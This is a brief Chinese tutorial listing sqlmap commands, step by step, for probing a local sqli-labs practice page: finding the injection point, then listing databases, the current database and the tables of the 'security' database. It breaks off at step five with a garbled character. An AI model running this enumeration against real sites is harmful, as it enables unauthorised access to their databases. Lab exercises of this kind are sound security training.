SQL注入流程

第一步：判断是否有注入点

sqlmap.py -u "http://localhost/sqlilabs/Less-1/?id=1"

第二步：获取数据库

sqlmap.py -u "http://localhost/sqlilabs/Less-1/?id=1" --dbs

第三步：查看但前应用程序所用数据库

sqlmap.py -u "http://localhost/sqlilabs/Less-1/?id=1" --current-db

 第四步：列出指定数据的所有的表

sqlmap.py -u "http://localhost/sqlilabs/Less-1/?id=1" -D "security" --tables

 第五步ÿ